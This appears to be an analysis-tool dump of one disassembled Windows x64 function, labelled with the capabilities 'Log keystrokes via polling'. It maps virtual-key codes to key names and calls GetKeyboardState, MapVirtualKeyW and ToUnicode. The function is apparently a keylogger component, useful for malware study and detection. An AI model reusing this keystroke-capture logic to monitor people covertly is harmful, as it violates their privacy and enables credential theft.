Function at 0x140006150
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1400cf040]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor esi, esi
mov qword [rsp + 0x38], rcx
lea eax, [rdx - 1]
mov edi, edx
mov rbx, rcx
cmp eax, 0x7a
ja case.0x1400061a7.7
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x69c4]
mov ecx, dword [rdx + rax*4 + 0x6924]
add rcx, rdx
jmp rcx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov ecx, dword [0x1400b1258]
mov word [rbx], cx
movzx eax, byte [0x1400b125a]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b1614]
mov word [rbx], ax
movzx eax, byte [0x1400b1616]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Cancel]
mov dword [rbx], eax
movzx eax, word [0x1400b161c]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b1620]
mov word [rbx], ax
movzx eax, byte [0x1400b1622]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], 0xf
mov dword [rbx], 0x424d3158
mov byte [rbx + 4], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], 0xf
mov dword [rbx], 0x424d3258
mov byte [rbx + 4], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Return]
mov dword [rbx], eax
movzx eax, word [0x1400b1628]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b162c]
mov word [rbx], ax
movzx eax, byte [0x1400b162e]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Enter]
mov dword [rbx], eax
movzx eax, byte [0x1400b1634]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Shift]
mov dword [rbx], eax
movzx eax, byte [0x1400b163c]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.Control]
mov dword [rbx], eax
movzx eax, word [0x1400b1644]
mov word [rbx + 4], ax
movzx eax, byte [0x1400b1646]
mov byte [rbx + 6], al
mov byte [rbx + 7], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b1648]
mov word [rbx], ax
movzx eax, byte [0x1400b164a]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Pause]
mov dword [rbx], eax
movzx eax, byte [0x1400b1650]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], 0xf
mov dword [rbx], 0x73706143
mov byte [rbx + 4], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Escape]
mov dword [rbx], eax
movzx eax, word [0x1400b1658]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Space]
mov dword [rbx], eax
movzx eax, byte [0x1400b1660]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], 0xf
mov dword [rbx], 0x7466654c
mov byte [rbx + 4], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x7055
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Right]
mov dword [rbx], eax
movzx eax, byte [0x1400b1674]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], 0xf
mov dword [rbx], 0x6e776f44
mov byte [rbx + 4], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.Prt_Scr]
mov dword [rbx], eax
movzx eax, word [0x1400b1684]
mov word [rbx + 4], ax
movzx eax, byte [0x1400b1686]
mov byte [rbx + 6], al
mov byte [rbx + 7], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Insert]
mov dword [rbx], eax
movzx eax, word [0x1400b168c]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Delete]
mov dword [rbx], eax
movzx eax, word [0x1400b1528]
mov word [rbx + 4], ax
mov byte [rbx + 6], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 4
mov qword [rbx + 0x18], 0xf
mov dword [rbx], 0x656d6f48
mov byte [rbx + 4], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b144c]
mov word [rbx], ax
movzx eax, byte [0x1400b144e]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 5
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.Pg_Up]
mov dword [rbx], eax
movzx eax, byte [0x1400b169c]
mov byte [rbx + 4], al
mov byte [rbx + 5], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.Pg_Down]
mov dword [rbx], eax
movzx eax, word [0x1400b16a4]
mov word [rbx + 4], ax
movzx eax, byte [0x1400b16a6]
mov byte [rbx + 6], al
mov byte [rbx + 7], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3146
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3246
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3346
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3446
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3546
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3646
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3746
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3846
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 2
mov qword [rbx + 0x18], 0xf
mov word [rbx], 0x3946
mov byte [rbx + 2], sil
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b16cc]
mov word [rbx], ax
movzx eax, byte [0x1400b16ce]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b16d0]
mov word [rbx], ax
movzx eax, byte [0x1400b16d2]
jmp 0x1400068ee
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b16d4]
mov word [rbx], ax
movzx eax, byte [0x1400b16d6]
jmp 0x1400068ee
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetKeyboardState]
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x38]
mov edx, eax
mov dword [rsp + 0x20], 0x10
lea r8, [rsp + 0x50]
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
test eax, eax
jle 0x1400068c8
cdqe
cmp rax, 0x10
jae 0x14000691d
xorps xmm0, xmm0
mov byte [rsp + rax + 0x38], sil
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
lea rax, [rsp + 0x38]
mov qword [rbx + 0x18], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400068b0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.140009df0
jmp 0x1400068f5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], 0xf
mov eax, dword [0x1400b16d8]
mov word [rbx], ax
movzx eax, byte [0x1400b16da]
mov byte [rbx + 2], al
mov byte [rbx + 3], sil
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400a8310
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400a8558
int3